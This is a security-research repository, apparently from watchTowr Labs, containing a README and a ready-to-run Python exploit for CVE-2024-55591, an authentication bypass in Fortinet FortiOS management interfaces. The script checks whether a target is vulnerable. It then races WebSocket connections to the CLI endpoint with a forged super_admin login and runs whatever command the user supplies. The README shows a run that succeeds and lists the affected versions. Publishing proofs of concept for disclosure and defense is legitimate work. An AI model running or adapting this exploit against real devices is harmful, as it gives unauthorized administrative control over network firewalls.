├── README.md └── CVE-2024-55591-PoC.py /README.md: -------------------------------------------------------------------------------- 1 | 2 | # CVE-2024-55591 3 | A Fortinet FortiOS Authentication Bypass Proof of Concept 4 | 5 | See our [blog post](https://labs.watchtowr.com/) for technical details 6 | 7 | # Detection in Action 8 | 9 | 10 | ``` 11 | python CVE-2024-55591-PoC.py --host 192.168.1.5 --port 443 --command "get system status" --user watchTowr --ssl 12 | __ ___ ___________ 13 | __ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________ 14 | \ \/ \/ \__ \ ___/ ___\| | \\| | / _ \ \/ \/ \_ __ \ 15 | \ / / __ \| | \ \\___| Y | |( <_> \ / | | \ 16 | \/\_/ (____ |__| \\\\___ |___|__|__ | \\__ / \\/\_/ |__| 17 | \\ \\ \\ 18 | 19 | CVE-2024-55591.py 20 | (*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) POC by watchTowr 21 | 22 | - Sonny , watchTowr (sonny@watchTowr.com) 23 | 24 | CVEs: [CVE-2024-55591] 25 | 26 | [*] Checking if target is a FortiOS Management interface 27 | [*] Target is confirmed as a FortiOS Management interface 28 | [*] Target is confirmed as vulnerable to CVE-2024-55591, proceeding with exploitation 29 | Output from server: �m"watchTowr" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337 30 | 31 | Output from server: � 32 | get system status 33 | 34 | Output from server: �~�FAKESERIAL # "Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [x.x.x.x]:54546 [x.x.x.x]:443 35 | Unknown action 0 36 | 37 | FAKESERIAL # 38 | FAKESERIAL # get system status 39 | Version: FortiGate-VM64-AWS v7.0.16,build0667,241001 (GA.M) 40 | Security Level: High 41 | Firmware Signature: certified 42 | Virus-DB: 1.00000(2018-04-09 18:07) 43 | 44 | ``` 45 | 46 | # Description 47 | 48 | This script is a proof of concept for CVE-2024-55591, targeting FortiOS (Fortigate) management interfaces. By creating brute forcing WebSocket connections to create a race condition along with an authentication bypass, it is possible to send FortiOS CLI commands unauthenticated. More details are described within our [blog post] (https://labs.watchtowr.com/). 49 | 50 | # Affected Versions 51 | 52 | * FortiOS 7.0.0 through 7.0.16 53 | * FortiProxy 7.0.0 through 7.0.19 54 | * FortiProxy 7.2.0 through 7.2.12 55 | 56 | More details at [Fortinet advisory](https://www.fortiguard.com/psirt/FG-IR-24-535) 57 | 58 | # Note 59 | 60 | This script isn't designed to work with FortiProxy, as pre-flight checks determine if the instance is a FortiGate Management Interface, but it is assumed the underlying technique is applicable to affected FortiProxy devices. 61 | 62 | # Follow [watchTowr](https://watchTowr.com) Labs 63 | 64 | For the latest security research follow the [watchTowr](https://watchTowr.com) Labs Team 65 | 66 | - https://labs.watchtowr.com/ 67 | - https://x.com/watchtowrcyber 68 | -------------------------------------------------------------------------------- /CVE-2024-55591-PoC.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import base64 3 | import os 4 | import struct 5 | import ssl 6 | import argparse 7 | import requests 8 | import urllib3 9 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 10 | 11 | banner = """\ 12 | __ ___ ___________ 13 | __ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________ 14 | \\ \\/ \\/ \\__ \\ ___/ ___\\| | \\\\| | / _ \\ \\/ \\/ \\_ __ \\ 15 | \\ / / __ \\| | \\ \\\\___| Y | |( <_> \\ / | | \\\n \\/\\_/ (____ |__| \\\\\\\___ |___|__|__ | \\\\__ / \\\/\\_/ |__| 16 | \\\ \\\ \\\ 17 | 18 | CVE-2024-55591.py 19 | (*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) POC by watchTowr 20 | 21 | - Sonny , watchTowr (sonny@watchTowr.com) 22 | 23 | CVEs: [CVE-2024-55591] 24 | """ 25 | helptext = """ 26 | Example Usage: 27 | - python CVE-2024-55591-PoC.py --host 192.168.1.5 --port 443 --command "get system status" --user watchTowr --ssl 28 | """ 29 | 30 | 31 | def create_websocket_frame(message, is_binary=False): 32 | """Create a WebSocket frame.""" 33 | data = message if isinstance(message, bytes) else message.encode() 34 | length = len(data) 35 | mask_key = os.urandom(4) 36 | frame = bytearray([0x82 if is_binary else 0x81]) 37 | 38 | if length < 126: 39 | frame.append(length | 0x80) 40 | elif length < 65536: 41 | frame.append(126 | 0x80) 42 | frame.extend(struct.pack('>H', length)) 43 | else: 44 | frame.append(127 | 0x80) 45 | frame.extend(struct.pack('>Q', length)) 46 | 47 | frame.extend(mask_key) 48 | masked_data = bytearray(length) 49 | for i in range(length): 50 | masked_data[i] = data[i] ^ mask_key[i % 4] 51 | frame.extend(masked_data) 52 | return frame 53 | 54 | def decode_websocket_frame(data): 55 | """Decode a WebSocket frame and extract the payload.""" 56 | if len(data) < 2: 57 | return None 58 | 59 | fin_and_opcode = data[0] 60 | opcode = fin_and_opcode & 0x0F 61 | 62 | payload_len = data[1] & 0x7F 63 | offset = 2 64 | 65 | if payload_len == 126: 66 | payload_len = struct.unpack('>H', data[2:4])[0] 67 | offset = 4 68 | elif payload_len == 127: 69 | payload_len = struct.unpack('>Q', data[2:10])[0] 70 | offset = 10 71 | 72 | mask_key = data[offset:offset + 4] 73 | offset += 4 74 | payload = data[offset:offset + payload_len] 75 | payload = bytes(b ^ mask_key[i % 4] for i, b in enumerate(payload)) 76 | 77 | return opcode, payload 78 | 79 | 80 | def send_login_context(): 81 | """Send the login message.""" 82 | login_message = f'"{args.user}" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337\r\n' 83 | s.send(create_websocket_frame(login_message)) 84 | rekt_message = f'\r\n{args.command}\r\n' 85 | s.send(create_websocket_frame(rekt_message)) 86 | 87 | 88 | def initialize_telnet_session(): 89 | """Initialize the Telnet session by sending commands in the correct order.""" 90 | # Step 1: Send Telnet negotiation commands 91 | 92 | # Step 2: Repeatedly send the login message 93 | brute_force = True 94 | while True: 95 | if brute_force: 96 | send_login_context() 97 | try: 98 | data = s.recv(4096) 99 | if data: 100 | # print(f"Raw received (hex): {data.hex()}") 101 | 102 | # Pipe the raw hex decoding directly to a human-readable string 103 | try: 104 | readable_output = bytes.fromhex(data.hex()).decode(errors='replace') 105 | if len(str(readable_output)) > 5: 106 | print(f"Output from server: {readable_output}") 107 | except Exception as e: 108 | print(f"Error decoding raw data to string: {e}") 109 | 110 | opcode, payload = decode_websocket_frame(data) 111 | 112 | if opcode == 0x8: # Close frame 113 | # print("Received close frame (8800), reconnecting.") 114 | return False # Trigger WebSocket reconnection 115 | elif opcode in [0x1, 0x2]: # Text or binary frame 116 | try: 117 | decoded_message = payload.decode(errors='replace') 118 | # print(f"Decoded payload message: {decoded_message}") 119 | except Exception as e: 120 | print(f"Error decoding payload: {e}") 121 | print(f"Raw payload (bytes): {payload}") 122 | 123 | if payload.strip(): # Stop brute force but keep listening 124 | # print("Received meaningful response. Stopping brute force and continuing to listen.") 125 | brute_force = False 126 | except ConnectionResetError: 127 | # print("Connection reset by peer. Reconnecting...") 128 | return False 129 | 130 | def pre_flight_checks(host, port, use_ssl): 131 | print('[*] Checking if target is a FortiOS Management interface') 132 | if use_ssl: 133 | forti_url = f"https://{host}:{port}" 134 | else: 135 | forti_url = f"http://{host}:{port}" 136 | is_forti = requests.get(forti_url+"/login?redir=/ng", verify=False, timeout=10) 137 | 138 | if '' not in is_forti.text: 139 | print('[*] Target is not a FortiOS Management interface, exiting...') 140 | exit() 141 | else: 142 | print ('[*] Target is confirmed as a FortiOS Management interface') 143 | 144 | bypass_check = requests.get(forti_url+"/service-worker.js?local_access_token=watchTowr", verify=False, timeout=10) 145 | 146 | if "api/v2/static" not in bypass_check.text: 147 | print('[*] Target is not vulnerable to CVE-2024-55591, exiting...') 148 | exit() 149 | else: 150 | print ('[*] Target is confirmed as vulnerable to CVE-2024-55591, proceeding with exploitation') 151 | 152 | def ws_connect_and_initialize(host, port, use_ssl): 153 | """Establish WebSocket connection and initialize the Telnet session.""" 154 | while True: 155 | ws_key = base64.b64encode(os.urandom(16)).decode() 156 | upgrade_request = ( 157 | f"GET /ws/cli/open?cols=162&rows=100&local_access_token=watchTowr HTTP/1.1\r\n" 158 | f"Host: {host}\r\n" 159 | f"Upgrade: websocket\r\n" 160 | f"Connection: Upgrade\r\n" 161 | f"Sec-WebSocket-Key: {ws_key}\r\n" 162 | f"Sec-WebSocket-Version: 13\r\n\r\n" 163 | ) 164 | 165 | global s 166 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 167 | if use_ssl: 168 | context = ssl.create_default_context() 169 | context.check_hostname = False # Allow self-signed certificates 170 | context.verify_mode = ssl.CERT_NONE # Disable certificate verification 171 | s = context.wrap_socket(s, server_hostname=host) 172 | 173 | try: 174 | s.connect((host, port)) 175 | s.send(upgrade_request.encode()) 176 | 177 | response = s.recv(4096) 178 | # print("Upgrade response:", response.decode()) 179 | 180 | # Immediately initialize the Telnet session 181 | if initialize_telnet_session(): 182 | break 183 | except ConnectionResetError: 184 | # print("Connection reset by peer during WebSocket setup. Retrying...") 185 | 1+1 186 | except Exception as e: 187 | # print(f"Unexpected error: {e}. Retrying...") 188 | 1+1 189 | 190 | if __name__ == "__main__": 191 | 192 | """ 193 | Main function to run the web interaction checks. 194 | """ 195 | parser = argparse.ArgumentParser(description='CVE-2024-55591 PoC') 196 | parser.add_argument("--command", type=str, default="get system info",help=" example 'get system status'") 197 | parser.add_argument("--user", type=str, default="watchTowr", help="Use Command") 198 | parser.add_argument("--host", help="The IP address or hostname of the server",required=True) 199 | parser.add_argument("--port", type=int, help="The port number of the server", required=True) 200 | parser.add_argument("--ssl", action="store_true", help="Use SSL for the connection") 201 | try: 202 | print(banner) 203 | args = parser.parse_args() 204 | except: 205 | print(banner) 206 | print(helptext) 207 | exit() 208 | 209 | try: 210 | pre_flight_checks(args.host, args.port, args.ssl) 211 | except KeyboardInterrupt: 212 | print("Exiting...") 213 | try: 214 | ws_connect_and_initialize(args.host, args.port, args.ssl) 215 | except KeyboardInterrupt: 216 | print("Exiting...") 217 | finally: 218 | s.close() 219 | --------------------------------------------------------------------------------